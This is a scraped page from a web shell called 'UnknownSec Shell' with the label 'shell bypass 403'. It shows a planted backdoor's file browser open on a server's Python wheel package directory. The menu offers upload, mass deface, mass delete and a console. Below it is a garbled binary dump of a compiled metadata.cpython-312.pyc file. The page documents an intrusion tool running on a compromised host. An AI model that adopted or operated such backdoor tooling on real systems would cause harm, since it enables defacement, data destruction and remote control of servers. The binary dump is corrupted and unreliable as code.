shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
wheel
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
metadata.cpython-312.pyc
� C�e� � � � d Z ddlmZ ddlZddlZddlZddlZddlZddl m Z ddlmZ ddl mZ ddlmZ d � Zej$ d � � Zej) e� d� � Zd� Zd � Zd� Zdd�Zdd�Z dd�Zdd�Zy)z2 Tools for converting old- to new-style metadata. � )�annotationsN)�Message)�Parser)�Iterator� )�Requirementc �. � | xr | j d� S )N�#)� startswith)�strs �0/usr/lib/python3/dist-packages/wheel/metadata.py� _nonblankr s � ��*�s�~�~�c�*�*�*� c �\ � t j j t t | � � S )a� Yield valid lines of a string or iterable. >>> list(yield_lines('')) [] >>> list(yield_lines(['foo', 'bar'])) ['foo', 'bar'] >>> list(yield_lines('foo\nbar')) ['foo', 'bar'] >>> list(yield_lines('\nfoo\n#bar\nbaz #comment')) ['foo', 'baz #comment'] >>> list(yield_lines(['foo\nbar', 'baz', 'bing\n\n\n'])) ['foo', 'bar', 'baz', 'bing'] )� itertools�chain� from_iterable�map�yield_lines)�iterables r r r s � � �?�?�(�(��[�(�)C�D�Dr c �n � t t t t j | j � � � S �N)�filterr r r �strip� splitlines)�texts r �_r ( s! � ��)�S����D�O�O�,=�>�?�?r c # � K � d}g }t | � D ]a }|j d� r=|j d� r |s|r||f�� |dd j � }g }�Et d|� �|j |� �c ||f�� y�w)ar Split a string or iterable thereof into (section, content) pairs Each ``section`` is a stripped version of the section header ("[section]") and each ``content`` is a list of stripped lines excluding blank lines and comment-only lines. If there are any such lines before the first section header, they're returned in a first ``section`` of ``None``. N�[�]r ���zInvalid section heading)r r �endswithr � ValueError�append)�s�section�content�lines r �split_sectionsr) - s� � �� � �G��G��A�� !���?�?�3���}�}�S�!��g�!�7�*�*��q��*�*�*�,���� �!:�D�A�A��N�N�4� � !� �7� ��s �A;A=c �L � t j dd| � j � S )z�Convert an arbitrary string to a standard 'extra' name Any runs of non-alphanumeric characters are replaced with a single '_', and the result is always lowercased. z[^A-Za-z0-9.-]+r )�re�sub�lower)�extras r � safe_extrar/ F s! � � �6�6�#�S�%�0�6�6�8�8r c �0 � t j dd| � S )z�Convert an arbitrary string to a standard distribution name Any runs of non-alphanumeric/. characters are replaced with a single '-'. z[^A-Za-z0-9.]+�-)r+ r, )�names r � safe_namer3 N s � � �6�6�"�C��.�.r c �� � t | dd� rd| j z S g }| j D ]* }|j |j |j z � �, |rddj t |� � z S y)zFReturn the version specifier for a requirement in PEP 345/566 fashion.�urlNz @ � �,� )�getattrr5 � specifierr$ �operator�version�join�sorted)�requirement� requires_dist�specs r �requires_to_requires_distrB U ss � ��{�E�4�(��{���&�&��M��%�%� ;�����T�]�]�T�\�\�9�:�;� ��S�X�X�f�]�3�4�4�4�r c # �� K � | D ]h }t |� }t |� }dj t d� |j D � � � }|rd|� d�}t |j � |z |z �� �j y�w)z=Yield Requires-Dist: strings for parsed requirements strings.r7 c 3 �2 K � | ] }t |� �� � y �wr )r/ )�.0�es r � <genexpr>z'convert_requirements.<locals>.<genexpr>i s � �� � R�1��A�� R�s �r r N)r rB r= r>